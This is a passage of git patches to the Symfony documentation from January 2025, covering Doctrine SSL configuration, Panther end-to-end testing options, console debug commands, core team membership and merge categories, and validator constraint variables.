+                    !php/const 'PDO::MYSQL_ATTR_SSL_KEY': '%env(MYSQL_SSL_KEY)%'
+                    # SSL certificate
+                    !php/const 'PDO::MYSQL_ATTR_SSL_CERT': '%env(MYSQL_SSL_CERT)%'
+                    # SSL CA authority
+                    !php/const 'PDO::MYSQL_ATTR_SSL_CA': '%env(MYSQL_SSL_CA)%'
 
     .. code-block:: xml
 

From c880a8818fa495a6b34188bddd76b946e54e6d3a Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Sat, 11 Jan 2025 03:14:50 -0300
Subject: [PATCH 6643/7107] [Doctrine] Use PDO constants in XML configuration
 example

---
 reference/configuration/doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index cd1852710e7..25621f60493 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -507,9 +507,9 @@ set up the connection using environment variables for the certificate paths:
                     server-version="8.0.31"
                     driver="pdo_mysql">
 
-                    <doctrine:option key="1007">%env(MYSQL_SSL_KEY)%</doctrine:option>
-                    <doctrine:option key="1008">%env(MYSQL_SSL_CERT)%</doctrine:option>
-                    <doctrine:option key="1009">%env(MYSQL_SSL_CA)%</doctrine:option>
+                    <doctrine:option key-type="constant" key="PDO::MYSQL_ATTR_SSL_KEY">%env(MYSQL_SSL_KEY)%</doctrine:option>
+                    <doctrine:option key-type="constant" key="PDO::MYSQL_ATTR_SSL_CERT">%env(MYSQL_SSL_CERT)%</doctrine:option>
+                    <doctrine:option key-type="constant" key="PDO::MYSQL_ATTR_SSL_CA">%env(MYSQL_SSL_CA)%</doctrine:option>
                 </doctrine:dbal>
             </doctrine:config>
         </container>

From 207933321946e82e537eece0022f2045e22c0ff8 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 12 Jan 2025 11:09:02 +0100
Subject: [PATCH 6644/7107] [FrameworkBundle] Remove ``--show-arguments``
 option for ``debug:container``

---
 controller/value_resolver.rst | 2 +-
 service_container/debug.rst   | 3 ---
 2 files changed, 1 insertion(+), 4 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index dbbea7bcc87..1844ff0c9be 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -396,7 +396,7 @@ command to see which argument resolvers are present and in which order they run:
 
 .. code-block:: terminal
 
-    $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
+    $ php bin/console debug:container debug.argument_resolver.inner
 
 You can also configure the name passed to the ``ValueResolver`` attribute to target
 your resolver. Otherwise it will default to the service's id.
diff --git a/service_container/debug.rst b/service_container/debug.rst
index c09413e7213..0a7898108fb 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -51,6 +51,3 @@ its id:
 .. code-block:: terminal
 
     $ php bin/console debug:container App\Service\Mailer
-
-    # to show the service arguments:
-    $ php bin/console debug:container App\Service\Mailer --show-arguments

From d32dd55878be38c1afc2a47704fe219e22b1a734 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 12 Jan 2025 21:17:27 +0100
Subject: [PATCH 6645/7107] Remove build spelling world list

---
 _build/spelling_word_list.txt | 344 ----------------------------------
 1 file changed, 344 deletions(-)
 delete mode 100644 _build/spelling_word_list.txt

diff --git a/_build/spelling_word_list.txt b/_build/spelling_word_list.txt
deleted file mode 100644
index fa05ce9430e..00000000000
--- a/_build/spelling_word_list.txt
+++ /dev/null
@@ -1,344 +0,0 @@
-accessor
-Akamai
-analytics
-Ansi
-Ansible
-async
-authenticator
-authenticators
-autocompleted
-autocompletion
-autoconfiguration
-autoconfigure
-autoconfigured
-autoconfigures
-autoconfiguring
-autoload
-autoloaded
-autoloader
-autoloaders
-autoloading
-autoprefixing
-autowire
-autowireable
-autowired
-autowiring
-backend
-backends
-balancer
-balancers
-bcrypt
-benchmarking
-Bitbucket
-bitmask
-bitmasks
-bitwise
-Blackfire
-boolean
-booleans
-Brasseur
-browserslist
-buildpack
-buildpacks
-bundler
-cacheable
-Caddy
-callables
-camelCase
-casted
-changelog
-changeset
-charset
-charsets
-checkboxes
-classmap
-classname
-clearers
-cloner
-cloners
-codebase
-config
-configs
-configurator
-configurators
-contrib
-cron
-cronjobs
-cryptographic
-cryptographically
-Ctrl
-ctype
-cURL
-customizable
-customizations
-Cygwin
-dataset
-datepicker
-decrypt
-denormalization
-denormalize
-denormalized
-denormalizing
-deprecations
-deserialization
-deserialize
-deserialized
-deserializing
-destructor
-dev
-dn
-DNS
-docblock
-Dotenv
-downloader
-Doxygen
-DSN
-Dunglas
-easter
-Eberlei
-emilie
-enctype
-entrypoints
-enum
-env
-escaper
-escpaer
-extensibility
-extractable
-eZPublish
-Fabien
-failover
-filesystem
-filesystems
-formatter
-formatters
-frontend
-getter
-getters
-GitHub
-gmail
-Gmail
-Goutte
-grapheme
-hardcode
-hardcoded
-hardcodes
-hardcoding
-hasser
-hassers
-headshot
-HInclude
-hostname
-https
-iconv
-igbinary
-incrementing
-ini
-inlined
-inlining
-installable
-instantiation
-interoperable
-intl
-Intl
-invokable
-IPv
-isser
-issers
-Jpegoptim
-jQuery
-js
-Karlton
-kb
-kB
-Kévin
-Ki
-KiB
-kibibyte
-Kubernetes
-Kudu
-labelled
-latin
-Ldap
-libketama
-licensor
-lifecycle
-liip
-linter
-localhost
-Loggly
-Logplex
-lookups
-loopback
-lorenzo
-Luhn
-macOS
-matcher
-matchers
-mbstring
-mebibyte
-memcache
-memcached
-MiB
-michelle
-minification
-minified
-minifier
-minifies
-minify
-minifying
-misconfiguration
-misconfigured
-misgendering
-Monolog
-mutator
-nagle
-namespace
-namespaced
-namespaces
-namespacing
-natively
-nd
-netmasks
-nginx
-normalizer
-normalizers
-npm
-nyholm
-OAuth
-OPcache
-overcomplicate
-Packagist
-parallelizes
-parsers
-PHP
-PHPUnit
-PID
-plaintext
-polyfill
-polyfills
-postcss
-Potencier
-pre
-preconfigured
-predefines
-Predis
-preload
-preloaded
-preloading
-prepend
-prepended
-prepending
-prepends
-preprocessed
-preprocessors
-Procfile
-profiler
-programmatically
-prototyped
-rebase
-reconfiguring
-reconnection
-redirections
-refactorization
-regexes
-renderer
-resolvers
-responder
-reStructuredText
-reusability
-runtime
-sandboxing
-schemas
-screencast
-semantical
-serializable
-serializer
-sexualized
-Silex
-sluggable
-socio
-specificities
-SQLite
-stacktrace
-stacktraces
-storages
-stringified
-stylesheet
-stylesheets
-subclasses
-subdirectories
-subdirectory
-sublcasses
-sublicense
-sublincense
-subrequests
-subtree
-superclass
-superglobal
-superglobals
-symfony
-Symfony
-symlink
-symlinks
-syntaxes
-templating
-testability
-th
-theming
-throbber
-timestampable
-timezones
-TLS
-tmpfs
-tobias
-todo
-Tomayko
-Toolbelt
-tooltip
-Traversable
-triaging
-UI
-uid
-unary
-unauthenticate
-uncacheable
-uncached
-uncomment
-uncommented
-undelete
-unhandled
-unicode
-Unix
-unmapped
-unminified
-unported
-unregister
-unrendered
-unserialize
-unserialized
-unserializing
-unsubmitted
-untracked
-uploader
-URI
-validator
-validators
-variadic
-VirtualBox
-Vue
-webpack
-webpacked
-webpackJsonp
-webserver
-whitespace
-whitespaces
-woh
-Wordpress
-Xdebug
-xkcd
-Xliff
-XML
-XPath
-yaml
-yay

From efb59e63b7b04f7dd43bfdd5ad20b102091769c8 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 13 Jan 2025 09:05:44 +0100
Subject: [PATCH 6646/7107] [Panther] Sync documentation from upstream

---
 .doctor-rst.yaml       |  1 +
 testing/end_to_end.rst | 68 +++++++++++++++++++++++++++++++++++-------
 2 files changed, 58 insertions(+), 11 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 07eb7392bfb..258de40c750 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -117,3 +117,4 @@ whitelist:
         - '.. versionadded:: 3.0' # Doctrine ORM
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - 'End to End Tests (E2E)'
+        - '.. versionadded:: 2.2.0' # Panther
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index d59f243f998..8a624ae884e 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -111,12 +111,12 @@ Here is an example of a snippet that uses Panther to test an application::
     $client->clickLink('Getting started');
 
     // wait for an element to be present in the DOM, even if hidden
-    $crawler = $client->waitFor('#installing-the-framework');
+    $crawler = $client->waitFor('#bootstrapping-the-core-library');
     // you can also wait for an element to be visible
-    $crawler = $client->waitForVisibility('#installing-the-framework');
+    $crawler = $client->waitForVisibility('#bootstrapping-the-core-library');
 
     // get the text of an element thanks to the query selector syntax
-    echo $crawler->filter('#installing-the-framework')->text();
+    echo $crawler->filter('div:has(> #bootstrapping-the-core-library)')->text();
     // take a screenshot of the current page
     $client->takeScreenshot('screen.png');
 
@@ -305,13 +305,13 @@ faster. Two alternative clients are available:
 * The second leverages :class:`Symfony\\Component\\BrowserKit\\HttpBrowser`.
   It is an intermediate between Symfony's kernel and Panther's test clients.
   ``HttpBrowser`` sends real HTTP requests using the
-  :doc:`HttpClient component </http_client>`. It is fast and is able to browse
+  :doc:`HttpClient component </http_client>`. It is fast and can browse
   any webpage, not only the ones of the application under test.
   However, HttpBrowser doesn't support JavaScript and other advanced features
   because it is entirely written in PHP. This one can be used in any PHP
   application.
 
-Because all clients implement the exact same API, you can switch from one to
+Because all clients implement the same API, you can switch from one to
 another just by calling the appropriate factory method, resulting in a good
 trade-off for every single test case: if JavaScript is needed or not, if an
 authentication against an external SSO has to be done, etc.
@@ -355,10 +355,10 @@ Testing Real-Time Applications
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Panther provides a convenient way to test applications with real-time
-capabilities which use `Mercure`_, `WebSocket`_ and similar technologies.
+capabilities that use `Mercure`_, `WebSocket`_ and similar technologies.
 
 The ``PantherTestCase::createAdditionalPantherClient()`` method can create
-additional, isolated browsers which can interact with other ones. For instance,
+additional, isolated browsers that can interact with other ones. For instance,
 this can be useful to test a chat application having several users
 connected simultaneously::
 
@@ -451,6 +451,22 @@ To use a proxy server, you have to set the ``PANTHER_CHROME_ARGUMENTS``:
     # .env.test
     PANTHER_CHROME_ARGUMENTS='--proxy-server=socks://127.0.0.1:9050'
 
+Using Selenium With the Built-In Web Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to use `Selenium Grid`_ with the built-in web server, you need to
+configure the Panther client as follows::
+
+    $client = Client::createPantherClient(
+        options: [
+            'browser' => PantherTestCase::SELENIUM,
+        ],
+        managerOptions: [
+            'host' => 'http://selenium-hub:4444', // the host of the Selenium Server (Grid)
+            'capabilities' => DesiredCapabilities::firefox(), // the capabilities of the browser
+        ],
+    );
+
 Accepting Self-Signed SSL Certificates
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -597,6 +613,13 @@ behavior:
     Toggle the browser's dev tools (default ``enabled``, useful to debug)
 ``PANTHER_ERROR_SCREENSHOT_ATTACH``
     Add screenshots mentioned above to test output in junit attachment format
+``PANTHER_NO_REDUCED_MOTION``
+    Disable non-essential movement in the browser (e.g. animations)
+
+.. versionadded:: 2.2.0
+
+    The support for the ``PANTHER_NO_REDUCED_MOTION`` env var was added
+    in Panther 2.2.0.
 
 Chrome Specific Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -604,7 +627,8 @@ Chrome Specific Environment Variables
 ``PANTHER_NO_SANDBOX``
     Disable `Chrome's sandboxing`_ (unsafe, but allows to use Panther in containers)
 ``PANTHER_CHROME_ARGUMENTS``
-    Customize Chrome arguments. You need to set ``PANTHER_NO_HEADLESS`` to fully customize
+    Customize Chrome arguments. You need to set ``PANTHER_NO_HEADLESS`` to ``1``
+    to fully customize
 ``PANTHER_CHROME_BINARY``
     To use another ``google-chrome`` binary
 
@@ -616,12 +640,33 @@ Firefox Specific Environment Variables
 ``PANTHER_FIREFOX_BINARY``
     To use another ``firefox`` binary
 
+Changing the Size of the Browser Window
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It's possible to control the size of the browser window. This also controls the
+size of the screenshots.
+
+This is how you would do it with Chrome::
+
+    $client = Client::createChromeClient(null, ['--window-size=1500,4000']);
+
+You can achieve the same thing by setting the ``PANTHER_CHROME_ARGUMENTS`` env
+var to ``--window-size=1500,4000``.
+
+On Firefox, here is how you would do it::
+
+    use Facebook\WebDriver\WebDriverDimension;
+
+    $client = Client::createFirefoxClient();
+    $size = new WebDriverDimension(1500, 4000);
+    $client->manage()->window()->setSize($size);
+
 .. _panther_interactive-mode:
 
 Interactive Mode
 ----------------
 
-Panther can make a pause in your tests suites after a failure.
+Panther can make a pause in your test suites after a failure.
 Thanks to this break time, you can investigate the encountered problem through
 the web browser. To enable this mode, you need the ``--debug`` PHPUnit option
 without the headless mode:
@@ -709,7 +754,7 @@ Here is a minimal ``.travis.yaml`` file to run Panther tests:
 
     language: php
     addons:
-      # If you don't use Chrome, or Firefox, remove the corresponding line
+      # If you don't use Chrome or Firefox, remove the corresponding line
       chrome: stable
       firefox: latest
 
@@ -788,7 +833,7 @@ The following features are not currently supported:
 * Updating existing documents (browsers are mostly used to consume data, not to create webpages)
 * Setting form values using the multidimensional PHP array syntax
 * Methods returning an instance of ``\DOMElement`` (because this library uses ``WebDriverElement`` internally)
-* Selecting invalid choices in select
+* Selecting invalid choices in the select
 
 Also, there is a known issue if you are using Bootstrap 5. It implements a
 scrolling effect which tends to mislead Panther. To fix this, we advise you to
@@ -875,3 +920,4 @@ documentation:
 .. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle
 .. _`PHP built-in server`: https://www.php.net/manual/en/features.commandline.webserver.php
 .. _`Functional Testing tutorial`: https://symfonycasts.com/screencast/last-stack/testing
+.. _`Selenium Grid`: https://www.selenium.dev/documentation/grid/

From a9a37f5f07dc98e05907d4aa61beb6a7ececaba2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Jan 2025 09:11:08 +0100
Subject: [PATCH 6647/7107] [Frontend] Update a table to make it more readable

---
 frontend/create_ux_bundle.rst | 31 ++++++++++++++++---------------
 1 file changed, 16 insertions(+), 15 deletions(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 8faf0f44bb1..8f44a16f62e 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -142,21 +142,22 @@ Twig ``stimulus_*`` functions.
 
 Each controller has a number of options in ``package.json`` file:
 
-==================  ====================================================================================================
-Option              Description
-==================  ====================================================================================================
-enabled             Whether the controller should be enabled by default.
-main                Path to the controller file.
-fetch               How controller & dependencies are included when the page loads.
-                    Use ``eager`` (default) to make controller & dependencies included in the JavaScript that's
-                    downloaded when the page is loaded.
-                    Use ``lazy`` to make controller & dependencies isolated into a separate file and only downloaded
-                    asynchronously if (and when) the data-controller HTML appears on the page.
-autoimport          List of files to be imported with the controller. Useful e.g. when there are several CSS styles
-                    depending on the frontend framework used (like Bootstrap 4 or 5, Tailwind CSS...).
-                    The value must be an object with files as keys, and a boolean as value for each file to set
-                    whether the file should be imported.
-==================  ====================================================================================================
+``enabled``:
+    Whether the controller should be enabled by default.
+``main``:
+    Path to the controller file.
+``fetch``:
+    How controller & dependencies are included when the page loads.
+    Use ``eager`` (default) to make controller & dependencies included in the
+    JavaScript that's downloaded when the page is loaded.
+    Use ``lazy`` to make controller & dependencies isolated into a separate file
+    and only downloaded asynchronously if (and when) the data-controller HTML
+    appears on the page.
+``autoimport``:
+    List of files to be imported with the controller. Useful e.g. when there are
+    several CSS styles depending on the frontend framework used (like Bootstrap 4
+    or 5, Tailwind CSS...). The value must be an object with files as keys, and
+    a boolean as value for each file to set whether the file should be imported.
 
 Specifics for Asset Mapper
 --------------------------

From e12afdd378e43587f1d9cfb06e8f5708146b2e76 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Jan 2025 09:34:01 +0100
Subject: [PATCH 6648/7107] Add a versionadded directive

---
 service_container/debug.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/service_container/debug.rst b/service_container/debug.rst
index 0a7898108fb..aab6fa9529f 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -51,3 +51,9 @@ its id:
 .. code-block:: terminal
 
     $ php bin/console debug:container App\Service\Mailer
+
+.. versionadded:: 7.3
+
+    Starting in Symfony 7.3, this command displays the service arguments by default.
+    In earlier Symfony versions, you needed to use the ``--show-arguments`` option,
+    which is now deprecated.

From 29da96e9cf7b18c6d1933fb96278dd87b47f484c Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 13 Jan 2025 15:28:42 +0100
Subject: [PATCH 6649/7107] Add the Symfony UX Core Team

---
 contributing/code/core_team.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index efc60894c7c..242f471947a 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -71,6 +71,14 @@ Active Core Members
   * **Fabien Potencier** (`fabpot`_);
   * **Jérémy Derussé** (`jderusse`_).
 
+* **Symfony UX** (``@symfony/ux`` on GitHub):
+
+  * **Ryan Weaver** (`weaverryan`_);
+  * **Kevin Bond** (`kbond`_);
+  * **Simon Andre** (`smnandre`_);
+  * **Hugo Alliaume** (`kocal`_);
+  * **Matheo Daninos** (`webmamba`_).
+
 * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub):
 
   * **Fabien Potencier** (`fabpot`_);
@@ -211,3 +219,6 @@ discretion of the **Project Leader**.
 .. _`welcomattic`: https://github.com/welcomattic/
 .. _`kbond`: https://github.com/kbond/
 .. _`gromnan`: https://github.com/gromnan/
+.. _`smnandre`: https://github.com/smnandre/
+.. _`kocal`: https://github.com/kocal/
+.. _`webmamba`: https://github.com/webmamba/

From 4bb344dba9ebbaf8686d65f8303e48237663d05a Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 13 Jan 2025 16:24:57 +0100
Subject: [PATCH 6650/7107] Fix typo

---
 contributing/code/core_team.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 242f471947a..3a2ed9091f9 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -75,7 +75,7 @@ Active Core Members
 
   * **Ryan Weaver** (`weaverryan`_);
   * **Kevin Bond** (`kbond`_);
-  * **Simon Andre** (`smnandre`_);
+  * **Simon André** (`smnandre`_);
   * **Hugo Alliaume** (`kocal`_);
   * **Matheo Daninos** (`webmamba`_).
 

From bcbf6f62d5bcc1119d89f5caccf75c73f5b68cf7 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 13 Jan 2025 16:25:18 +0100
Subject: [PATCH 6651/7107] [#20566] Add UX team description

---
 contributing/code/core_team.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 242f471947a..41e9a6cc3e3 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -34,7 +34,9 @@ The Symfony Core groups, in descending order of priority, are as follows:
 In addition, there are other groups created to manage specific topics:
 
 * **Security Team**: manages the whole security process (triaging reported vulnerabilities,
-  fixing the reported issues, coordinating the release of security fixes, etc.)
+  fixing the reported issues, coordinating the release of security fixes, etc.);
+
+* **Symfony UX Team**: manages the `UX repositories`_;
 
 * **Documentation Team**: manages the whole `symfony-docs repository`_.
 
@@ -71,7 +73,7 @@ Active Core Members
   * **Fabien Potencier** (`fabpot`_);
   * **Jérémy Derussé** (`jderusse`_).
 
-* **Symfony UX** (``@symfony/ux`` on GitHub):
+* **Symfony UX Team** (``@symfony/ux`` on GitHub):
 
   * **Ryan Weaver** (`weaverryan`_);
   * **Kevin Bond** (`kbond`_);
@@ -188,6 +190,7 @@ discretion of the **Project Leader**.
     violations, and minor CSS, JavaScript and HTML modifications.
 
 .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs
+.. _`UX repositories`: https://github.com/symfony/ux
 .. _`fabpot`: https://github.com/fabpot/
 .. _`webmozart`: https://github.com/webmozart/
 .. _`Tobion`: https://github.com/Tobion/

From a3f48853be1f5f17fd7126581600b8ebfc1e338a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 13 Jan 2025 16:25:18 +0100
Subject: [PATCH 6652/7107] [#20566] Add UX team description

---
 contributing/code/core_team.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 3a2ed9091f9..b787452c64a 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -34,7 +34,9 @@ The Symfony Core groups, in descending order of priority, are as follows:
 In addition, there are other groups created to manage specific topics:
 
 * **Security Team**: manages the whole security process (triaging reported vulnerabilities,
-  fixing the reported issues, coordinating the release of security fixes, etc.)
+  fixing the reported issues, coordinating the release of security fixes, etc.);
+
+* **Symfony UX Team**: manages the `UX repositories`_;
 
 * **Documentation Team**: manages the whole `symfony-docs repository`_.
 
@@ -71,7 +73,7 @@ Active Core Members
   * **Fabien Potencier** (`fabpot`_);
   * **Jérémy Derussé** (`jderusse`_).
 
-* **Symfony UX** (``@symfony/ux`` on GitHub):
+* **Symfony UX Team** (``@symfony/ux`` on GitHub):
 
   * **Ryan Weaver** (`weaverryan`_);
   * **Kevin Bond** (`kbond`_);
@@ -188,6 +190,7 @@ discretion of the **Project Leader**.
     violations, and minor CSS, JavaScript and HTML modifications.
 
 .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs
+.. _`UX repositories`: https://github.com/symfony/ux
 .. _`fabpot`: https://github.com/fabpot/
 .. _`webmozart`: https://github.com/webmozart/
 .. _`Tobion`: https://github.com/Tobion/

From d5f3dd85b4547ea181cfca71f1cfd6645de9af5d Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 13 Jan 2025 18:26:05 +0100
Subject: [PATCH 6653/7107] Add information about being a core member

---
 contributing/code/core_team.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index b787452c64a..edbbfaf4e77 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -13,6 +13,17 @@ This document states the rules that govern the Symfony core team. These rules
 are effective upon publication of this document and all Symfony Core members
 must adhere to said rules and protocol.
 
+Role of a Core Member
+---------------------
+
+In addition to being a regular contributor, core members are expected to:
+
+ * Review, approve, and merge pull requests;
+
+ * Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`;
+
+ * Participate in the Symfony Core Team discussions (on Slack and GitHub).
+
 Core Organization
 -----------------
 

From 2423666c17b97c845ee0ba630b6d6dd7c32b650f Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 13 Jan 2025 18:11:38 +0100
Subject: [PATCH 6654/7107] Add information about PR merge commit category

---
 contributing/code/core_team.rst | 24 ++++++++++++++++++++++--
 1 file changed, 22 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index b787452c64a..daf1d1cb868 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -168,8 +168,28 @@ All code must be committed to the repository through pull requests, except for
 :ref:`minor change <core-team_minor-changes>` which can be committed directly
 to the repository.
 
-**Mergers** must always use the command-line ``gh`` tool provided by the
-**Project Leader** to merge the pull requests.
+**Mergers** must always use the command-line ``gh`` tool to merge pull
+requests.
+
+When merging a pull request, the tool asks for a category that should be chosen
+following these rules:
+
+* **Feature**: For new features and deprecations; Pull requests must be merged
+  in the development branch.
+
+* **Bug**: Only for bug fixes; We are very conservative when it comes to
+  merging older, but still maintained, branches. Read the :doc:`maintenance`
+  document for more information.
+
+* **Minor**: For everything that does not change the code or when they don't
+  need to be listed in the CHANGELOG files: typos, Markdown files, test files,
+  new or missing translations, etc.
+
+* **Security**: It's the category used for security fixes and should never be
+  used except by the security team.
+
+Getting the right category is important as it is used by automated tools to
+generate the CHANGELOG files when releasing new versions.
 
 Release Policy
 ~~~~~~~~~~~~~~

From d46522ad4ae49ae8317ad5c762daac0227ed143a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 14 Jan 2025 09:53:02 +0100
Subject: [PATCH 6655/7107] Add more details about the context variable

---
 reference/constraints/When.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 12b43fc7d63..2a05e58ee9c 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -163,7 +163,7 @@ validation of constraints won't be triggered.
 To learn more about the expression language syntax, see
 :doc:`/reference/formats/expression_language`.
 
-Depending on how you use the constraint, you have access to 1 or 3 variables
+Depending on how you use the constraint, you have access to different variables
 in your expression:
 
 ``this``
@@ -172,7 +172,13 @@ in your expression:
     The value of the property being validated (only available when
     the constraint is applied to a property).
 ``context``
-    This is the context that is used in validation
+    The :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
+    object that provides information such as the currently validated class, the
+    name of the currently validated property, the list of violations, etc.
+
+.. versionadded:: 7.2
+
+    The ``context`` variable in expressions was introduced in Symfony 7.2.
 
 The ``value`` variable can be used when you want to execute more complex
 validation based on its value:

From d949cbb989e2235d0dbddbac50cc8d39e95b9198 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Jan 2025 15:07:12 +0100
Subject: [PATCH 6656/7107] Minor tweak

---
 contributing/code/core_team.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index daf1d1cb868..61045dfbf5b 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -168,8 +168,8 @@ All code must be committed to the repository through pull requests, except for
 :ref:`minor change <core-team_minor-changes>` which can be committed directly
 to the repository.
 
-**Mergers** must always use the command-line ``gh`` tool to merge pull
-requests.
+**Mergers** must always use the command-line ``gh`` tool provided by the
+**Project Leader** to merge pull requests.
 
 When merging a pull request, the tool asks for a category that should be chosen
 following these rules:

From c9ad945053958e1da303aa63d69363b8adb0dc77 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 16 Jan 2025 15:49:54 +0100
Subject: [PATCH 6657/7107] Minor tweaks

---
 contributing/code/core_team.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index d8c2048e5fd..93ec6031259 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -13,10 +13,10 @@ This document states the rules that govern the Symfony core team. These rules
 are effective upon publication of this document and all Symfony Core members
 must adhere to said rules and protocol.
 
-Role of a Core Member
----------------------
+Role of a Core Team Member
+--------------------------
 
-In addition to being a regular contributor, core members are expected to:
+In addition to being a regular contributor, core team members are expected to:
 
  * Review, approve, and merge pull requests;
 

From 1c51901e95a0d05284e311df419bc9828dc983c7 Mon Sep 17 00:00:00 2001
From: Farhad Hedayatifard <hf.farhad@gmail.com>
Date: Tue, 29 Oct 2024 21:10:14 +0330
Subject: [PATCH 6658/7107] [Mailer] feat(mailer): Add AhaSend Mailer doc

---
 .doctor-rst.yaml                              |    4 +-
 .github/workflows/ci.yaml                     |    2 +-
 _build/redirection_map                        |    5 +-
 .../serializer/serializer_workflow.svg        |    0
 .../serializer/serializer_workflow.dia        |  Bin
 bundles.rst                                   |    6 +-
 bundles/best_practices.rst                    |    2 +-
 bundles/extension.rst                         |    2 +-
 bundles/override.rst                          |    2 +-
 cache.rst                                     |    2 +-
 components/cache/adapters/apcu_adapter.rst    |    4 +-
 .../adapters/couchbasebucket_adapter.rst      |    2 +-
 .../adapters/couchbasecollection_adapter.rst  |    2 +-
 .../cache/adapters/filesystem_adapter.rst     |    2 +-
 .../cache/adapters/memcached_adapter.rst      |    4 +-
 .../cache/adapters/php_files_adapter.rst      |    2 +-
 components/cache/adapters/redis_adapter.rst   |   84 +-
 components/clock.rst                          |    6 +-
 components/config/definition.rst              |   24 +-
 .../console/changing_default_command.rst      |    2 +-
 components/console/events.rst                 |    2 +-
 .../console/helpers/formatterhelper.rst       |   14 +-
 components/console/helpers/progressbar.rst    |    2 +-
 components/console/helpers/questionhelper.rst |    6 +-
 components/event_dispatcher.rst               |    6 +-
 components/expression_language.rst            |    8 +-
 components/finder.rst                         |    2 +-
 components/form.rst                           |    2 +-
 components/http_foundation.rst                |   25 +-
 components/http_kernel.rst                    |    2 +-
 components/ldap.rst                           |    2 +-
 components/lock.rst                           |   38 +-
 components/options_resolver.rst               |    4 +-
 components/phpunit_bridge.rst                 |    4 +-
 components/process.rst                        |    4 +-
 components/property_access.rst                |    8 +-
